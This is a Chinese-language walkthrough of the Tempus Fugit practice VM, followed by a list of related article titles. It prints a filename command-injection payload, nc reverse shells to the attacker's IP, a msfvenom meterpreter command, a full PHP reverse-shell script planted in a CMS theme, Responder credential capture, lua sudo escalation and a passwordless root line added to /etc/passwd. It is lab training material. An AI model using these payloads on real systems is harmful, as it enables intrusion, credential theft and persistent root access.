靶机Tempus Fugit wirteup
0x00 namp扫描
看来只能通过web拿shell了
0x01 分析web
御剑扫描没有任何文件,只能手动检查一下了
看到upload知道大概率是个上传拿shell的套路,继续看
现在猜测还有个FTP的漏洞,但靶机并没有开放21端口,很神秘,去看看upload
一言不合先上马
上传之后的回显提示只能上传txt和rtf,很神秘。开始怀疑这网站拿什么语言写的
右键查看源代码
<form enctype="multipart/form-data" action="/uploadFile/" method="post"> <input type="file" name="myfile" /> <br/> <input type="submit" value="upload"/></form>
突然想课程设计用django写的一个网站,看来很可能是个python站点,url连一个文件都没有,全是目录,看了一下正常的django上传文件的例子,八成确定这是个python站点
正常上传一个123.txt(内容是123456)文件,猜测一下django的上传函数有一个文件后缀检测,并且会把文件再读出来打印(或者直接把post的内容打印出来)
根据upload script标题猜测应该是命令执行漏洞,在文件内容分写入shell命令和python命令,但返回的都是文件里的内容,也就是内容应该并没有执行
这时候开始怀疑作者到底想怎么搞,不能直接上传shell,还不能执行语句,难不成拿django的漏洞打一波?没办法只能去推特上找一下相关的内容,发现有个大佬说文件名的位置有命令执行漏洞
//创建一个txt文件 123.txt;ipconfig
扒一下源码
好吧,开来必须要绕过.这个符号,尝试用*代替后面的.py,但windows不能用*作为文件结尾,只能在burpsuit里修改了
成功拿到源码,ok,他说可以上了
0x02 准备拿shell
分析一下源码得知可以在文件名的位置执行sh命令,准备反弹Shell
import os
import urllib.request
from flask import Flask, flash, request, redirect, render_template
from ftplib import FTP
import subprocess#...
#上传文件白名单
ALLOWED_EXTENSIONS = {'txt','rtf'
}
app = Flask(__name__)
app.secret_key = "mofosecret"
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024@app.route('/', defaults = {'path': ''
})
#看来400那么唠叨的问题找到了,万恶的fortune命令
@app.route('/<path:path>')
def catch_all(path):cmd = 'fortune -o'result = subprocess.check_output(cmd, shell = True)return "<h1>400 - Sorry. I didn't find what you where looking for.</h1> <h2>Maybe this will cheer you up:</h2><h3>" + result.decode("utf-8") + "</h3>"
#...#检查文件后缀名,不难看出是截取以.分割后的字符串后三位是否在白名单中,那只要符合 xxx.txt/rtfxxx的规律就行了
def allowed_file(filename):check = filename.rsplit('.', 1)[1].lower()check = check[: 3] in ALLOWED_EXTENSIONSreturn check@app.route('/upload', methods = ['POST'])
def upload_file():if request.method == 'POST':if 'file' not in request.files:flash('No file part')return redirect(request.url)file = request.files['file']if file.filename == '':flash('No file selected for uploading')return redirect(request.url)if file.filename and allowed_file(file.filename):filename = file.filenamefile.save(os.path.join(UPLOAD_FOLDER, filename))cmd = "cat " + UPLOAD_FOLDER + "/" + filenameresult = subprocess.check_output(cmd, shell = True) //subprocess.check_output函数可以执行sh命令flash(result.decode("utf-8"))flash('File successfully uploaded')try:ftp = FTP('ftp.mofo.pwn') //拿域名做ftp服务器,很神秘ftp.login('someuser', 'b232a4da4c104798be4613ab76d26efda1a04606')with open(UPLOAD_FOLDER + "/" + filename, 'rb') as f:ftp.storlines('STOR %s' % filename, f)ftp.quit()except:flash("Cannot connect to FTP-server")return redirect('/upload')else :flash('Allowed file types are txt and rtf')return redirect(request.url)if __name__ == "__main__":app.run()
反弹shell有很多种方法,bash,nc,python,但只有命令执行的就考虑nc了,这里借用推特大佬的一个骚操作,将ip转10进制再扔到nc里反弹shell
123.txt;nc 3232256129 1999 -e sh
//根据上面我们得出的结论,这个也行,但关键是十进制帅啊
123.txt;nc 192.168.80.129 1999 -e sh;123.txt
ok,用python美化一下
python -c "import pty; pty.spawn('/bin/bash')"
whoami查看竟然发现是root,什么嘛,这靶机不过如此,然后当我echo "kui::0:0:::/bin/bash" >> /etc/passd完登陆靶机时发现竟然登陆不上,这靶机难不成在登陆的shell做文章了?查看一下
在根目录下有个start.sh
#! /usr/bin/env sh
set -e# If there's a prestart.sh script in the /app directory, run it before starting
PRE_START_PATH=/app/prestart.sh
echo "Checking for script in $PRE_START_PATH"
if [ -f $PRE_START_PATH ] ; thenecho "Running script $PRE_START_PATH". $PRE_START_PATH
elseecho "There is no script $PRE_START_PATH"
fi# Start Supervisor, with Nginx and uWSGI
exec /usr/bin/supervisord
可以大概分析出还有两个脚本控制登陆(因为/etc/profile并没有被做什么文章)
/usr/bin/supervisord
#!/usr/bin/python2
# EASY-INSTALL-ENTRY-SCRIPT: 'supervisor==3.3.3','console_scripts','supervisord'
__requires__ = 'supervisor==3.3.3'
import re
import sys
from pkg_resources import load_entry_pointif __name__ == '__main__':sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])sys.exit(load_entry_point('supervisor==3.3.3', 'console_scripts', 'supervisord')())
/app/prestart.sh
#! /usr/bin/env shecho "Running inside /app/prestart.sh, you could add migrations to this file, e.g.:"echo "
#! /usr/bin/env bash# Let the DB start
sleep 10;
# Run migrations
alembic upgrade head
"
并没有看到靶机登陆界面花里胡哨的Tempus Fugit,ifconfig看一下网络
跟VM分配的192.168.80.121不一样,这时候突然意识到这搞不好是个内网啊
直到后面我发现了这个,早知如此先看root再看home了
0x03 内网渗透
想起来django那个没用的ftp服务器,尝试ping一下
这就是内网啊,猛男落泪呀。
根据源码中的账号密码访问试试,这里不知道为什么ncftp无法链接但换成lftp就可以
lftp ftp://someuser@ftp.mofo.pwn
查看一下敏感文件:
Admin-password for our new CMS
hardEnough4u
这时候我是彻底怂了,newcms不就是还有个网站要打,端口转发第一个想到拿msf整一个,但后面发现还有直接拿ip route命令转发路由进内网的
0x04 新的cms
从这开始就只能开始求助国外大佬的writeup了
要查找内网存活的ip和端口当然首选nmap,python来一个。等会名挖掘直接上dig
cat /etc/issue查一下操作系统,发现系统用的是Alpine Linux 3.7,安装直接运行命令就完事了
apk add nmap
nmap,再启动
发现一个dns服务器,ftp服务器,还有一个172.19.0.1,估计这个就是我们要找的cms
看一下dns
cat /etc/resolv.conf
准备枚举一下域名,安装dig
apk add bind-toolsdig axfr @172.19.0.100 mofo.pwn
ping一下,172.19.0.1,再加上是前面唯一一个80端口开放的独苗,估计这个就是我们要找的cms了
这里也可以参考大佬的方法,直接拿nmap扫一波
nmap -sT -sV -A -O -p- ourcms.mofo.pwn
准备端口转发
方法一 毕竟都是在vm上,做个路由转发就能访问了
kali本机来一个路由转发
//192.168.80.129是kali的ipip route add 172.19.0.0/24 via 192.168.80.129
修改kali的host文件
访问ourcms.mofo.pwn:8080,总算到达下一个cms了
方法二 使用msf的端口转发功能
【Note:直接路由转发会出现访问后台巨卡无比的现象】
先生成一个payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=8080 -f elf -o shell2.elf
复制payload到kali的nginx目录(默认是在/var/www/html下),在172.19.0.10受害机上wget下来,记得给权限,然后./shell2.elf跑起来
打开msfconsole
msf的端口转发
portfwd add -l 777 -r 172.19.0.1 -p 8080
修改host文件
ok,现在访问ourcms.mofo.pwn:777
用msf要接后面的步骤把8080端口换成777就行
解释一下为什么必须要域名,以前做过一道ctf题,要访问百度的一个子域名才能返回flag,但百度根本没有这个子域名。最后发现要修改本地host自己做DNS解析才行,原理其实就是中间件的代理规则,像这台172.19.0.1的apache配置规则是访问ourcms.mofo.pwn:8080才能返回cms对应的网页,我们只做了端口转发,代理规则会认为我们要访问的是172.10.0.1:8080,那肯定拿不到cms,所以要在kali本地的host改一下
后台渗透(用的路由转发的步骤)
想都不想直接/admin 找后台
[这个地方可以也可以通过nmap先扫出来8080的目录文件]
拿出前面ftp服务器珍藏许久的账号密码
Admin-password for our new CMS
hardEnough4u
猜测账号是Admin,其实不用猜也知道是这个,进入后台
//发现theme-edit.php可以修改首页php文件,丢个反弹shell的脚本在文件后面
<?php error_reporting (E_ALL);
ignore_user_abort(true);
ini_set('max_execution_time',0);
$os = substr(PHP_OS,0,3);
$ipaddr=$_GET['ip'];
$port=$_GET['port'];
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"));
$cwd = getcwd();
$msg = php_uname()."\n------------Code by Spider-------------\n";
if($os == 'WIN') {$env = array('path' => 'c:\\windows\\system32');
} else {$env = array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
}if(function_exists('fsockopen')) {$sock = fsockopen($ipaddr,$port);if(!$sock){ echo "error";}fwrite($sock,$msg);while ($cmd = fread($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {$cwd = trim(substr($cmd,3,-1));chdir($cwd);$cwd = getcwd();}if (trim(strtolower($cmd)) == 'exit') {break;} else {$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {fwrite($pipes[0],$cmd);fclose($pipes[0]);$msg = stream_get_contents($pipes[1]);fwrite($sock,$msg);fclose($pipes[1]);$msg = stream_get_contents($pipes[2]);fwrite($sock,$msg);fclose($pipes[2]);proc_close($process);}}}fclose($sock);
} else {$sock = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect($sock,$ipaddr,$port);socket_write($sock,$msg);fwrite($sock,$msg);while ($cmd = socket_read($sock,1024)) {if (substr($cmd,0,3) == 'cd ') {$cwd = trim(substr($cmd,3,-1));chdir($cwd);$cwd = getcwd();}if (trim(strtolower($cmd)) == 'exit') {break;} else {$process = proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);if (is_resource($process)) {fwrite($pipes[0],$cmd);fclose($pipes[0]);$msg = stream_get_contents($pipes[1]);socket_write($sock,$msg,strlen($msg));fclose($pipes[1]);$msg = stream_get_contents($pipes[2]);socket_write($sock,$msg,strlen($msg));fclose($pipes[2]);proc_close($process);}}}socket_close($sock);
}
?>
访问ourcms.mofo.pwn:8080触发脚本,ok,反弹成功
后面的就全部靠推特大佬们的writeup了,对于萌新真的难度系数有点搞了
根据提示要从邮箱里寻找线索,
ls -al /var/mail
权限不够无法查看,gg
根据作者的提示要使用Responder【https://github.com/SpiderLabs/Responder】获取信息,ok
这个是Responsder的详细中文介绍
https://www.secpulse.com/archives/65503.html
攻击需要稍微等一会
./Responder.py -I eth0 -wrf
获得账号和密码
Username : murielle
Password : monkeys
[Note:账号是会变的,请尽快拿去用,不然就只能等下一个账号。不得不说写靶机的人才是真的大佬]
ssh连接,成功
查看一下home目录,emm,感觉很user.txt很可以,打开看一下
一串md5,虽然不知道是什么,但先去刚才的mail里看看有什么好东西
yooooo,shandee:9k4lw0r82hs0,似乎是得了的东西,看一下passwd,1010,感觉权限还是不行啊
ssh登陆一下
sudo -l跑一下看看有没有漏洞,没的话就需要其他方式提权了
作者没为难菜鸡啊,看来凭借lua提权就完事了
lua -e 'os.execute("/bin/sh")'
感谢这位大佬整理的shell,巨全
https://gtfobins.github.io/gtfobins/lua/#shell
0x05 提权(并不)
echo "kui::0:0:::/bin/bash" >>/etc/passwd
完事
靶机Tempus Fugit wirteup相关推荐
- TEMPUS FUGIT: 2
环境准备 靶机链接:百度网盘 请输入提取码 提取码:5i9p 虚拟机网络链接模式:桥接模式 攻击机系统:kali linux 2022.03 信息收集 1.对靶机进行端口和服务的扫描 nmap -sV ...
- X-Files 目录及剧情简介
X-Files 第(1)季目录及剧情简介 1X01 领航员 Pilot 1X02 深喉咙 DEEP THROAT 1X03 突变异种 SQUEEZE 1X04 奥卡布基湖奇案 CONDUIT 1X05 ...
- HA: SHERLOCK 靶机渗透取证
HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...
- HA: InfinityStones靶机渗透测试
文章目录 靶机信息 一.信息收集 1.主机发现 2.端口扫描 3.目录扫描 二.漏洞挖掘 1.访问 192.168.1.108 2.访问 /img 目录 3.访问 https 服务(443)端口 4. ...
- HA: Forensics靶机渗透测试
文章目录 靶机说明: 一.信息收集 1.主机发现 2.端口扫描 二.漏洞挖掘 1.访问靶机 web 服务 2.使用 dirb 进行目录扫描 3.使用 exiftool 提取数据 4.使用 dirb 扫 ...
- HA: Dhanush靶机渗透测试
文章目录 一.信息收集 1.主机发现 2.端口扫描 3.查看 web 服务 二.漏洞挖掘 1.使用 cewl 生成字典 2.使用 hydra 进行爆破 3.ssh 连接 4.尝试 sudo 提权 靶机 ...
- Lampiao靶机渗透测试
文章目录 一.信息收集 1.主机发现 2.端口扫描 二.漏洞挖掘 1.查看对方web服务 2.使用 msfconsole get shell 脏牛提权漏洞(CVE-2016-5191) 三.脏牛提权 ...
- 漏洞payload 靶机_【CS学习笔记】5、如何建立Payload处理器
这一小节学起来感觉有些吃力,里面很多概念理解的不是很清楚,如果有大佬看到描述错误的地方欢迎留言指正,避免误导他人. 再次声明,这只是我的个人学习笔记,不要当成教程去看,建议想学习CS的小伙伴可以看看A ...
- docker 漏洞测试 靶机环境 靶机平台 vulhub vulapps 简介
在实际学习中,经常需要模拟不同的漏洞环境,而使用公网的实例的话,多多少少又存在一些风险,因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案.Docker是近两年来十分流行的开源容器引擎,因此也出现 ...
- php %3c php 攻击,web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
最新文章
- R语言使用ggplot2包使用geom_density()函数绘制密度图(自定义颜色填充、线条色彩、分组、均值线)实战(density plot)
- pxe和kickstart无人值守安装
- 机器人组团到城市打工,第一站果然是赛博朋克城
- bootstrap基础
- [转]简单介绍如何用Reporting Service制作报表
- Exceptionless服务端+kibana部署实时日志纪要
- windows下修改tomcat的startup.bat脚本文件后台运行
- opencv_python使用cv2.imread()读取中文路径报错问题(转)
- android观察者模式例子,Android-Kotlin实现观察者模式的小案例
- Redis源码解读(二十一)——命令传播
- python实时监控网站更新_Python监控Github项目更新并自动下载
- pyecharts 大小_[pyecharts1.7] 图表基础设置:大小、背景色、配色主题等
- 高性能网站架构之缓存篇—Redis集群搭建
- WPF 程序的编译过程
- Javascript 富文本编辑器,单击按钮后内容可编辑区域失去焦点
- TF-IDF算法及实现
- 神秘代码(链接至steam指南)
- 小程序开发:小程序的底部弹窗(半屏弹窗)
- 行业分析:什么样的公司有前景?深入分析智力密集型行业公司的类型与特征
- 创业项目融资PPT模板
热门文章
- Python计算贝塔系数和夏普比率
- mysql minus 语句用法,mysql如何用minus运算符?
- WEB服务器有哪几种
- 求助 电脑能正常上网,但开热点手机连上用不了。开的热点显示ipv6无网络访问权限。
- [每日一氵] openCV drawMatches 函数中 flag 用法
- java is alphabetic,Java中的Character.isAlphabetic和Character.isLetter有什么区别?
- Bron-kerbosch算法-求图的最大团,极大团
- 【技术文章】Understanding Spectre Meltdown Vulnerability 1
- 怎样找计算机物理地址,怎么查询电脑物理地址
- 在线人民币大写转换器工具-把数字金额转换成中文大写